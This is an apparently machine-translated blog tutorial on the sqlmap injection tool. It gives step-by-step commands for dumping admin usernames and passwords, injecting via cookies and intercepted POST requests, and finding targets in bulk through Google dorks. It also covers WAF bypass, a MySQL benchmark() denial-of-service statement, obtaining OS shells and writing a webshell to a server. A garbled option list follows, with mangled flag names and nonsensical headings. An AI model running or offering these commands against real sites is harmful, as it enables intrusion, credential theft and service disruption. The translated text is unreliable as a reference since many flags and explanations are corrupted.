SQLMAP Injection Course - 11 common SQLMAP methods of elaboration

Sqmap is also a common injection tool for penetration, but in the case of injections, one sqlmap will be enough. As long as you’re well-prepared and kill all kinds of tools, it’s just an easy question, and so on, is the manual party. This is another thing.


There are 11 common SQLmap methods: I, SQLMAP for access database injection (1)

1
2

(2) Concise tables

1
2
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables

(3) Fields of a guess sheet based on the table of guessage (if this table of admin is obtained through 2)

1
2
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin

(4) Conjecture content based on field (if by 3 the fields are username and password)

1
2
3
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,[url=]B[/url]password"

ii. SQLMAP for Cookie Injection****** Recommended use (1) Cookie Injection, guess sheet

1
win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2

(2) Conjecture fields, (through Table 1, if the Table is admin)

1
2
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T
admin --level 2

(3) Conjecture of content

1
2
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T
admin -C "username,password" --level 2

iii. SQLMAP for the DDOS attack (1) in Mysql to get a Shell

1
2
3
4
win:
python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
Linux:
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell

(2) Enter an executive statement to complete the DDOS attack

1
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

iv. SQLMAP for mysql injection (1) Searching database

1
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs

(2) Search tables through the first step database (if the database is named Dataname)

1
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables

(3) Listing through the table in 2 (if it istable_name)

1
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns

(4) Retrieving field values (if scanned id, user, password fields)

1
2
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump

v. Port landing box in SQLMAP (1) where the search-test.txt was captured by a grab kit burgup suit and the data saved into this txt file

When we use Sqmap for post-injection, there are frequent cases of requests missing resulting in injection failure. Here we share a small technique that combines burpsuete to use sqlmap, and it is more accurate to do post-injecting testing with this method, which is very easy to operate.

 

 

1. Browser Opens the target address http:// www.xxx.com /Login.asp

 

2. Configure the burg agent (127.0.0.1:8080) to intercept requests

 

3. Click on submit button for login form

 

By this time, Burp will have intercepted our POST request.

 

5. Copy this post request to txt, which I call “search-test.txt” and then put it under the sqmap directory

 

6. Runs sqlmap and uses the following command:

 

1
./sqlmap.py -r search-test.txt -p tfUPass

 

 

Here’s the parameter-r that lets sqlmap load our post requestrsearch-test.txt, and –p you should be familiar with, specify parameters for injection.

 

Injection point:http://testasp.vulnweb.com/Login.asp

 

Several injection methods:./sqlap.py-r search-test.txt-p tfUPass

 

(2) Automatic search

 

1
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms

 

 

(3) Specified parameter search

 

1
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"

 

 

 

 

VI. Google Search Injection in SQLMAP

The language behind inurl is made by itself.

 

1
sqlmap -g inurl:php?id=

 

 

 

 

VII. REQUIREMENTS IN SQLMAP

Parameters –delay-safe-freq

 

1
2
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3

 

Parameters

 

 

 

viii. SQLMAP bypassing WAF firewalls

Injection point:http://192.168.159.1/news.php?id=1

 

 

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"

 

 

Space2morehash.py can replace space2hash.py or base64encode.py or charencode.py is coded by space2hash.py base64encode.py charencode.py

 

 

IX. SQLMAP access

 

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges

 

 

 

X. SQLMAP PSYCHOP INSPECTION (1) FINDING DATA

 

1

 

 

 

(2) Find the corresponding table through the database in 1 (if it is dataname if obtained through 1)

 

1
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables

 

 

(3) Fields obtained through the data table in 2 (if a table oftable names is obtained)

 

1
2
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --columns

 

 

(4) Field values obtained through 3 (if id, password)

 

1
2
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename -C "password" --dump

 

 

XI. SQLMAP injection point execution command and crosswriting shell (1) injection point:http://192.168.159.1/news.php?id=1

 

The Linux system is used here.

 

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig

 

The selection of the language to appear is based on actual testing sites.

 

(2) Access to Shell

 

1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell

 

Language selection based on actual test sites

 

Specifies the target site D:/www/Inputipconfig/all to create and delete users, so long as they have sufficient privileges, you can enter any command. Other commands refer to the following:

 

Searching Fields From Database

 

1
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

 

 

Searches for fields admin or password in dedecms database.

 

 

Read and write files

The physical path requiring the website is first sought, followed by writeable or readable privileges.

 

–file-read=RFILE read files (physical path) from the DMS file system at the back end – file-write= local files on WFILE edits the DMS file system at the back end (msql xp_shell) -file-test=dFILE backend database management systems write absolute paths to files

 

# Example:

 

1
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

 

 

Use shell command:

 

1
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

 

 

Next, you can specify a list of websites that can be written:

 

“E: \\php\htdocs\dvwa”#Note: Mysql does not support column directories and only reads individual files. sqlserver can list directories, cannot read or write documents but needs one (xp_dirtree function)

 

 

 

Sqlmap command details:

  • -is-dba current user permission (whether it’s root privileges)
  • -Dbs, all databases.
  • -current-db website ‘s current database
  • All database users
  • -current-user current database user
  • -random-agent Construct Randomuser-atent
  • -passwords database password
  • -proxy http://local:8080 –threads 10 (can customise accelerator) proxy
  • -time-sec = delay in TIMEC DBMS response (default 5 seconds)

Options:

  • -version displays the version number of the program and exits
  • -h, –help display this help message and quit
  • -v VerBose Detailed Level: 0-6 (default 1)

Target (target):

At least one of these options needs to be set below, setting the target URL.

 

  • -d DIRECT is connected directly to the database.
  • -u URL, –url=URL target URL.
  • -l LIST deciphered the target from the logs of Burp or WebScarab agents.
  • -r REQUESTFILE contains HTTP requests from a file.
  • -g GOOGLEDORK handles Google dork as the target URL.
  • -cCONFIGFILE loads options from INI configuration files.

Request (request):

These options specify how to connect to the target URL.

 

  • -data = DATA Data String sent through POST
  • -cookie=COOKIE HTTP Cookie头
  • -cookie-urlencode URL encoding cookie injection
  • -drop-set-cookie ignores the reply ‘s Set – Cookie header
  • -user-agent=AGENT Assign HTTP User –Agent Head
  • -Random-atent uses random HTTP User – Agent headers
  • -referer=REFERER Assign HTTP Header
  • -headers=HEADERS line break and add another HTTP header
  • -ASYPE HTTP identification type (basic, abstract or NTLM) (Basic, Digest or NTLM)
  • -auth-cred=ACRED HTTP authentication certificate (user name: password)
  • -auth-cert=ACERT HTTP certification (key_file,cert_file)
  • -proxy=PROXY Connect to target URL using HTTP proxy
  • -proxy-cred=PCRED HTTP proxy authentication certificate (user name: password)
  • -ignore-proxy ignores the default HTTP agent for the system
  • -Delay = DeLAY Delay between each HTTP request in seconds
  • -timeout=TIMEOUT waiting for connection time out (default 30 seconds)
  • -retries=ReTRIES Time for reconnecting after time elapsed (default 3)
  • -scope=SCOPE Regular expression of filter target from the proxy log provided
  • -Safe-url=url addresses frequently visited during testing
  • -safe-freq=SAFREQ Request for testing between two visits to give a secure URL

Enumeration:

These options list the information, structure and data of a backend database management system. In addition, you can run your own SQL statement.

  • -b, –banner Retrieval Database Management System logo
  • -current-user Retrieving Database Management System current user
  • -current-db Retrieval of the current database of the database management system
  • -is-dba to detect whether the current DBMS user is a DBA
  • Users of the -user EDI system
  • -passwords EDM user password Hash
  • Permissions for users of the -privileges Equivalent Database Management System
  • Role of users of the -rolls database management system
  • -dbs EDM database
  • A specified database name to be counted by DDBname
  • -TTBLname specified database tables to be counted (e.g.-T tablename –columns)
  • Tables in the DBMS database of -tables
  • -columns List of DBMS Database Tables
  • Tables in the database of the –dump Reposit Database Management System
  • -dump-all dump entries in all DBMS database tables
  • -search search column (S), table (S) and/or database name (S)
  • -CCO’s database column is to be counted.
  • -U UUSER database users used for the count.
  • -exclude-sysdbs system database when listing
  • -start=LIMITSTART First query output into search
  • -stop=LIMITSTOP Final Querying Output Retrieval
  • -first=FIRSTCHAR character search for the first query output word
  • -last=LASTCHAR final search for output characters
  • -sql-query=SQL statement to be executed by QUERY
  • -sql-shell alert to interactive SQL shell

Optimization:

These options can be used to optimize SqlMap performance.

 

  • -O open all optimized switches.
  • –pririct-output predicts common query output
  • –Keep-live with lasting HTTP(S) connection
  • –null-connaction Retrieving page length from no actual HTTP responder
  • –thereads=THREEADS’ largest HTTP(S) request combined (default 1)

Injection:

These options can be used to specify which parameters are being tested and provide custom payloads and optional tampering scripts.

 

  • -p ETSTPARAMETER Testable Parameters (S)
  • –dbms=DBMS force backend DBMS for this value
  • –os=OS Force backend DBMS operating system to this value
  • –prefix=PREFIX Injecting Payload String Prefix
  • –suffix=SUFIX Injecting Payload String Suffix
  • –tamper=TAMPER Use given script(s) to tamper with injection data

Detection:

These options specify how to parse and compare the content of HTTP response pages when SQL is blind.

  • –level=LEVEL level of test execution (1-5, default 1)
  • –risk=RISK performing test risk (0-3, default 1)
  • –streaming=STRIING string matching on page when valid
  • –regextp=ReGEXP matches regular expression on the page when query is valid
  • –text-only based on text comparison pages only

Techniques (Technology):

These options can be used to adjust specific SQL injection tests.

  • –technique=TECH SQL Injection Technical Test (Default BEUST)
  • –time-sec=TIMEC DBMS response delay (default 5 seconds)
  • –union-cols=UCOLS column range for testing UNION query injection
  • –union-char=UCHAR characters for violent guessing columns

Fingerprint:

  • -f,-fingerprint.

Brute force:

These options can be used to run a force check.

  • –common-tables check for common tables
  • –common-columns check in common

User-defined operation injection (user-defined function injection):

 

These options can be used to create user-defined functions. –udf-inject injects a local path of the user-defined function –shared-lib=SHLIB shared library

 

 

File system access:

These options can be used to access the bottom file system of the back-end database management system.

 

  • –file-read=RFILE Read files from the backend database management system filesystem
  • –file-write= local files on the WFILE edit backend database management system filesystem
  • –file-test=DFILE Backend Database Management System absolute path for writing files

Operation system access:

These options can be used to access the bottom operating systems of the back-end database management system.

 

  • –os-cmd=OSCMD executes operating system commands
  • –os-shell interactive operating system shell
  • –os-pwn to get an OOB shell, metpreter or VNC
  • –os-smbrelay to get an OOB shell, meterpreter or VNC
  • –os-bof storage process buffer overflowing
  • –priv-esc Database Process User Permission Enhancement
  • –msf-path=MSFPATH Metasploit Framework local installation path
  • –tmp-path= absolute path to the TMPATH remote temporary file directory

Windows registration form access:

These options can be used to access the backend database management system Windows registration forms.

 

  • –reg-read read a Windows registration item value
  • –reg-add Writes a Windows register item data
  • –reg-del remove Windows registration form key
  • –reg-key=Regkey Windows registration form key
  • –reg-value=RegVAL Windows registration item value
  • –reg-data=ReGDATA Windows registration form key data
  • –reg-type=ReGTYPE Windows registration item type
  • These options can be used to set some general working parameters.
  • -t TRAFFICFILE records all HTTP traffic to a text file
  • -SESSIONFILE Save and retrieve all data from retrieval session files
  • –flush-session Refresh Session File for the current target
  • –fresh-queries ignore query results stored in session files
  • –eta shows the expected arrival time for each output
  • –update Update SqlMap
  • –save file save options to INI profile
  • –Batch never asks for user input, using all default configurations.

Miscellaneous (miscellaneous):

  • –Beep Reminds When SQL Injected
  • –check-payload IDS test for injection of payloads
  • –cleanup SqlMap Specific UDF and Table Cleaning DBMS
  • –Forms Analysis and Test Form for Target URLs
  • –gpage=GOOGLEPAGE uses Googledork results from the given page number
  • –page-rank Google dork shows web ranking (PR)
  • –parse-errors parsing error messages from the database management system from the response page
  • –replicate copying the stored data to a sqlite3 database
  • –tor uses the default Tor (Vidalia/ Privoxy/ Polipo) proxy address
  • –wizard Simple Wizard Interface for Primary Users

未经允许不得转载:萌萌Apprentissage » SQLMAP Injection Course - 11 common SQLMAP methods of elaboration

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本